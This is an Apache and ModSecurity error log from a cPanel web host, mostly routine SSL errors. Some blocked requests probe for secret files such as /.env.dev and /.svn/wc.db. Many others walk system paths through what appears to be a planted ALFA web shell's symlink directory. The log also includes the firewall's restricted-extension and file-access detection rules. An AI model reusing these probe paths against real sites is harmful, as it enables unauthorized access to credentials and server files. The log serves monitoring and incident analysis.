[Mon Oct 26 06:12:02.893476 2026] [security2:error] [pid 3000174:tid 3000174] [client 45.138.12.52:37608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at8ncvEaLLDWHqkTH2BIEQAAABk"]
[Mon Oct 26 06:12:03.824150 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 98.84.184.80:64786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:12:07.808472 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.218.103.254:59177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:12:11.807669 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 44.221.105.234:1087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:12:27.767569 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 44.197.76.210:37335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:12:31.646722 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 54.163.169.168:5273] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:12:43.876403 2026] [core:error] [pid 3011079:tid 3011079] (13)Permission denied: [client 18.214.124.6:49963] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/new_id
[Mon Oct 26 06:12:47.671129 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 18.232.36.1:51898] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:13:09.159093 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.4.76.156:2209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:13:11.933261 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 52.44.148.203:39537] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:13:15.889241 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 18.215.112.101:61434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:13:20.089755 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.159.98.248:2678] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:13:26.780427 2026] [core:error] [pid 3010067:tid 3010067] (13)Permission denied: [client 185.191.171.15:33198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/trace
[Mon Oct 26 06:13:28.017468 2026] [core:error] [pid 3011354:tid 3011354] (13)Permission denied: [client 34.227.156.153:1296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:00.0/rescan
[Mon Oct 26 06:13:31.810547 2026] [core:error] [pid 3010070:tid 3010070] (13)Permission denied: [client 35.174.253.85:56298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/resource0
[Mon Oct 26 06:13:35.863288 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 3.230.69.161:5604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:13:39.717338 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 100.28.133.214:40045] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:13:43.870757 2026] [security2:error] [pid 3010067:tid 3010067] [client 23.21.228.180:59118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:17/power/"] [unique_id "at8n11wJcrReXfrIodgy8AAAABI"]
[Mon Oct 26 06:13:43.870806 2026] [security2:error] [pid 3010067:tid 3010067] [client 23.21.228.180:59118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:17/power/"] [unique_id "at8n11wJcrReXfrIodgy8AAAABI"]
[Mon Oct 26 06:14:03.692144 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.226.106.93:46565] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:08.408948 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 54.147.238.89:7038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:15.820186 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 3.212.86.97:36680] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:19.709808 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 44.212.131.50:36987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:23.699203 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.229.2.217:61563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:27.880015 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 52.54.95.127:45768] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:35.900853 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 98.84.200.43:32989] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/uevent
[Mon Oct 26 06:14:40.110352 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 52.54.95.127:63501] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/rescan
[Mon Oct 26 06:14:45.665301 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 185.191.171.2:24356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:47.711910 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.94.156.104:9498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:51.753378 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 3.216.86.144:52671] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:56.385008 2026] [ssl:error] [pid 3010074:tid 3010074] (5)Input/output error: [client 3.220.70.171:54500] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:14:59.871999 2026] [ssl:error] [pid 3008498:tid 3008498] (22)Invalid argument: [client 3.216.13.10:62931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:15:03.758941 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 54.84.147.79:52792] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:15:07.830996 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 3.210.223.61:63539] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:15:11.094736 2026] [security2:error] [pid 3007413:tid 3007413] [client 107.172.76.131:52928] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8oItvqVFJk9gq0xgTk2AAAAAo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:15:11.094792 2026] [security2:error] [pid 3007413:tid 3007413] [client 107.172.76.131:52928] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8oItvqVFJk9gq0xgTk2AAAAAo"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:15:15.922291 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 18.213.240.226:6788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:15:19.892592 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 18.213.27.222:64666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:15:27.792871 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.45.77.169:5590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:15:35.863281 2026] [core:error] [pid 3011079:tid 3011079] (13)Permission denied: [client 34.194.95.99:4267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource0
[Mon Oct 26 06:15:40.291933 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 3.220.148.166:55568] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:15:47.723672 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 3.232.82.72:57776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:15:57.453528 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 16.216.88.191:24576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/named.localhost
[Mon Oct 26 06:16:07.721178 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 35.172.125.172:54759] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/reclaim_account
[Mon Oct 26 06:16:11.713890 2026] [ssl:error] [pid 3011079:tid 3011079] (22)Invalid argument: [client 34.239.197.197:50795] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:16:15.407633 2026] [security2:error] [pid 3010067:tid 3010067] [client 193.32.162.76:56926] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ob1wJcrReXfrIodgy-AAAABI"]
[Mon Oct 26 06:16:15.407872 2026] [security2:error] [pid 3010067:tid 3010067] [client 193.32.162.76:56926] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ob1wJcrReXfrIodgy-AAAABI"]
[Mon Oct 26 06:16:15.408167 2026] [security2:error] [pid 3010067:tid 3010067] [client 193.32.162.76:56926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ob1wJcrReXfrIodgy-AAAABI"]
[Mon Oct 26 06:16:15.408456 2026] [security2:error] [pid 3010067:tid 3010067] [client 193.32.162.76:56926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ob1wJcrReXfrIodgy-AAAABI"]
[Mon Oct 26 06:16:15.692665 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 34.202.88.37:40646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:16:16.007151 2026] [security2:error] [pid 3008498:tid 3008498] [client 193.32.162.76:56938] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ocHWyvchEwsg-8-hnkgAAAAs"]
[Mon Oct 26 06:16:16.007373 2026] [security2:error] [pid 3008498:tid 3008498] [client 193.32.162.76:56938] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ocHWyvchEwsg-8-hnkgAAAAs"]
[Mon Oct 26 06:16:16.007690 2026] [security2:error] [pid 3008498:tid 3008498] [client 193.32.162.76:56938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ocHWyvchEwsg-8-hnkgAAAAs"]
[Mon Oct 26 06:16:16.008041 2026] [security2:error] [pid 3008498:tid 3008498] [client 193.32.162.76:56938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ocHWyvchEwsg-8-hnkgAAAAs"]
[Mon Oct 26 06:16:17.807061 2026] [security2:error] [pid 3002822:tid 3002822] [client 193.32.162.76:56948] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ocQPZVv3Il2lbVePu5QAAAAQ"]
[Mon Oct 26 06:16:17.807293 2026] [security2:error] [pid 3002822:tid 3002822] [client 193.32.162.76:56948] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ocQPZVv3Il2lbVePu5QAAAAQ"]
[Mon Oct 26 06:16:17.807581 2026] [security2:error] [pid 3002822:tid 3002822] [client 193.32.162.76:56948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ocQPZVv3Il2lbVePu5QAAAAQ"]
[Mon Oct 26 06:16:17.807938 2026] [security2:error] [pid 3002822:tid 3002822] [client 193.32.162.76:56948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at8ocQPZVv3Il2lbVePu5QAAAAQ"]
[Mon Oct 26 06:16:27.855273 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 34.227.156.153:25719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:16:35.689753 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 23.22.59.87:34847] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:16:39.634954 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 23.23.180.225:4488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/remove
[Mon Oct 26 06:16:47.737655 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 23.21.250.48:16855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:16:59.636683 2026] [ssl:error] [pid 3010067:tid 3010067] (5)Input/output error: [client 18.209.201.119:62682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:17:03.921589 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 44.221.105.234:30843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:17:07.815324 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 34.234.197.175:62278] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:17:11.820071 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 35.171.117.160:52831] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:17:15.778851 2026] [core:error] [pid 3010067:tid 3010067] (13)Permission denied: [client 98.82.66.172:62838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/subsystem/drivers/ec/uevent
[Mon Oct 26 06:17:23.656233 2026] [security2:error] [pid 3011079:tid 3011079] [client 3.216.13.10:38201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory10/node0/cpu1/driver/cpu0/cache/"] [unique_id "at8os8gik5L9rcLL2-u_yAAAAAA"]
[Mon Oct 26 06:17:23.656276 2026] [security2:error] [pid 3011079:tid 3011079] [client 3.216.13.10:38201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory10/node0/cpu1/driver/cpu0/cache/"] [unique_id "at8os8gik5L9rcLL2-u_yAAAAAA"]
[Mon Oct 26 06:17:27.757335 2026] [ssl:error] [pid 2995190:tid 2995190] (5)Input/output error: [client 54.162.69.192:61641] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:17:33.822519 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 85.208.96.196:37356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/remote_node_defrag_ratio
[Mon Oct 26 06:17:48.006941 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 18.214.186.220:42815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:17:50.878276 2026] [core:error] [pid 3011079:tid 3011079] (13)Permission denied: [client 85.208.96.196:54738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/store_user
[Mon Oct 26 06:17:51.644514 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.81.253.213:49366] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:17:55.834028 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 54.157.84.74:42161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:18:00.602759 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 44.207.69.106:13217] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:18:04.175411 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 35.173.18.61:35884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/closing_wait
[Mon Oct 26 06:18:13.140280 2026] [core:error] [pid 3000174:tid 3000174] (13)Permission denied: [client 85.208.96.212:55844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/slabs_cpu_partial
[Mon Oct 26 06:18:16.512979 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 98.82.63.147:3940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:18:19.779209 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 34.231.156.59:15365] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:18:21.082577 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 85.208.96.202:38064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/zswap_entry/slabs_cpu_partial
[Mon Oct 26 06:18:23.741987 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 52.71.203.206:47418] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:18:32.149491 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 18.214.251.19:51004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:18:43.995133 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 54.225.181.161:31677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:18:47.777194 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 44.208.223.68:18122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:18:52.533175 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 34.231.118.144:28783] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:18:55.887360 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 98.84.60.17:40770] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:19:07.717390 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 98.82.107.102:63826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:19:09.254661 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 144.76.19.24:37520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/io
